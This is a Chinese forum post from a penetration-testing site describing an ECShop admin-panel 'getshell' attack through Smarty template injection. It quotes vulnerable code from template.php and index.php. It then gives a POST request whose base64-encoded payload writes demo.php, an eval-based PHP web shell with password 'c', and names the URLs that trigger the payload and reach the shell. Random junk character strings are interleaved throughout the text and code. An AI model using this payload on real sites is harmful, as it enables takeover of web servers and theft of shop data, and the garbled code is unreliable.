中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% ], k3 z0 c# G* [3 _, d  W* Y5 f# r% ^+ m  J9 L
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了( l( X2 q- O$ k
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
( k; D' F& M1 p) A2 padmin/template.php8 I; i% W; |; B. M* H4 S) y

* W, S) T  Z- ~$ Y$ G' B2 Q1 if ($_REQUEST['act'] == 'update_library')
4 o6 r- d7 G( l! e* n8 G, s* [9 h/ G
2   
- O) W* Q( [' h2 L5 F' W  N/ m2 e* N( J  a. K) G
3 {
6 Y& z: e- {/ n$ W) I! @0 {
$ B3 @+ y8 l/ G# {1 E- M4     check_authz_json('library_manage'); , C9 n4 i* g/ p  x9 F
6 X3 _+ h1 w0 i
5   
* t" U2 t: t" ?  o( @$ o  c0 x3 p% W% t! v# k9 [* d
6     $html = stripslashes(json_str_iconv($_POST['html'])); 4 Q0 @, ?. U! D8 ~$ J1 Y( q0 O

" e% i2 j- |/ `" f8 r7   
- N6 j* Z4 s$ L, ~1 p. S3 R; S, ]. f' {: \- T$ e
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
3 D# z1 b8 x( G' v7 H' `0 N: V' H# C2 y( L6 }# U# c! e7 m' D
9   , u9 N9 r, G$ U; V
# S; R5 p7 z# R5 y+ |
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. y: e$ s" M, V' \4 Y6 y
7 u# E7 [+ N9 b11   % w. n0 |  b; G' H
( ^, i) Y3 t" A2 a! e& w1 r
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); , E! J. C1 t& j7 c" }5 ?

5 Q2 ?' w3 g. F8 q7 d/ i13   ' J- c" c% H1 q$ ~1 T: U: c
: `0 W6 H4 j, j# F+ ^9 y
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
- i+ r" o, W- g( {$ T' S; d6 x3 p9 J# i! O7 k2 ^  G  B
15     { . `% R# x0 e+ R3 M7 }+ B" N/ L
9 O0 }) J3 J# a, i
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
  u9 K! q/ a0 i) I8 R
. w# w+ g% a+ a  X) ]- V3 D17         make_json_result('', $_LANG['update_lib_success']);
# n! `7 Q( f  s% p4 B
0 e; c. D6 e0 E- o4 C1 H8 i18     } " u4 q' M, g3 m- z5 X0 r9 k) T8 ?
' l* Z1 `" y! `' o0 L" Y
19     else
3 s9 s" p7 c7 Y
# E4 w6 Z3 T2 L7 R/ v20     {
$ m1 ^0 N2 {, E" B* `" C$ Q6 Q+ I( j6 u  h$ N4 Q
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ( w1 ~7 N2 \, v2 v# P

3 k7 t" {3 F* q8 M& z! W22     } 7 S# o" {1 S! D- M* \2 \
; @2 G# g6 o1 O
23 }
1 k+ v; M6 m4 {5 W
( u6 g. g" H- x9 \+ L3 y/ n% ~) z那么找个比较方便调用了模板的文件7 `& n9 [) K! X7 A) w
index.php
/ v$ n" k2 H- Q  r1 m2 F  T, O* n5 |, f* h' @' z1 W1 ?
1 if ($act == 'cat_rec') ! N1 ~. J0 I1 [# u  l
  q7 |% W- j! D9 C' b
2   ! v% z* c' {/ N3 C/ Z  v3 {

9 n% g8 m( v0 s" ]3 Y3 {
' w3 ~: r4 o" Q4 g* j; o
* o' m0 b; k9 ?$ C6 K) v4 c4   
! ^7 J$ @2 i& K# m% M( n0 F: y- z' H6 E0 F
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' _0 x. j. \, O# X
; e. s% Z- R$ m6   
# h$ [% I% f7 x8 @7 i! w+ n3 N7 I# a8 U2 W- q  r* q
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; * Y4 v5 M0 r7 r' Y$ B

+ d# s) ]# L9 I4 a4 D8   
( a! d: S8 U* B4 F) P# h1 }, v. r% \
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ) x; i- [; h# m5 k
: L7 h9 ]6 r' w, }
10   
" B$ r3 C+ E  u- k8 ?7 v) ?8 {/ e# K$ \
11     include_once('includes/cls_json.php');
& t& k+ L9 z, q( B# G6 q7 ~+ W7 s0 n) j) u) L5 I
12   
  c9 k6 R. j8 Y9 \. o6 u  Q' o/ Y) O2 p9 ~. G9 f+ i6 u
13     $json = new JSON; ; Z* J* {% J' P$ K# u* B( ~

& o# \) v9 x6 P" U+ U. \1 Z+ P( f14   
- l& z3 D4 O! l3 v6 c9 ^# X& R5 r2 J* H' J1 V7 X9 `5 f3 K
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ; R" S, Y( Q: w5 b

& V6 z5 ?! I' C8 |5 X7 ?; F5 c16   
% d# T( ~7 _; I6 E& R
9 T$ E; s$ r9 C8 {$ D; ^17     $children = get_children($cat_id); / e7 l5 }7 D$ ^- m

* n" j5 }6 R* A$ f) n18   + c8 b" o) F6 b$ R

9 X. \( D0 ]4 }  ^1 s' l* S19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
6 X* c- T; j8 Y) p) b5 V; ~7 R. u# ~6 I, h$ Y: D' U9 o1 D( y+ {
20   2 q6 {+ m8 ^! F  ~
+ R$ \, A- b4 U* Z' h# O
21     $smarty->assign('cat_rec_sign', 1);
! V' d2 n6 @' P2 y6 Z- F) I5 j' ^
6 @2 R- a+ u, }; N4 g+ |22   
& `: f3 }0 @! u* H# a: H, ], V/ q; j
% m1 t3 r) ^4 v' n4 C23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best ( D  c3 [1 i$ d! {$ i
4 }$ a, q' L$ g7 D* s
24   - ]* c) e0 _% v4 d6 p

' n" L" Q' [( o0 i( J. A. w25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ! v+ ]% a: f: S3 j6 p2 k* [

3 h$ V  Z1 b- M4 A& k5 J$ Y" h26   
5 G2 V# O0 z7 z0 E
" i: U/ j/ a* X: X27         echo $rec_array[$rec_type];
) d2 g4 Q) \1 t
3 @" Q4 n1 [' n% D28   
3 B2 U2 M3 i- H0 H' t* M2 W, }4 W8 }+ F
29     die($json->encode($result)); ) j7 A2 A# F9 @! t; g7 @

+ P$ d( L/ j0 ]& V3 f- U30   ) X9 ]4 r- b0 u' {; N
4 m9 Z) y( M# l& F
31 }
* q' q; c* I) s) }1 n4 e/ s  G* i2 a: k, e" i# `: k
那么就有利用方法了
/ p% E) m1 a  |: B, Q+ B5 Dpost包到http://localhost/ec/admin/template.php?act=update_library% [7 d( n# `( z4 J  B2 M$ L" ~
Post内容:$ I8 o/ O* F9 b6 x1 ^. ~( o
* [, c) R( P0 e  {
3 s& S# K. D& ~5 j: U# ^8 ~6 ?- E
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 2 v/ F4 R4 k- T
. k; S) L, r8 n/ z: m! W. e, r
然后访问http://localhost/ec/index.php?act=cat_rec
$ }3 G( E5 F2 W0 j+ v0 W% e, N5 y$ [9 p4 i
shel地址:http://localhost/ec/demo.php3 i) s6 k: c0 ~3 l! _0 Z9 a+ `; G
密码c" i0 q$ f/ b$ [5 f% V5 ^

' q. p- f* ]0 c. ?




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2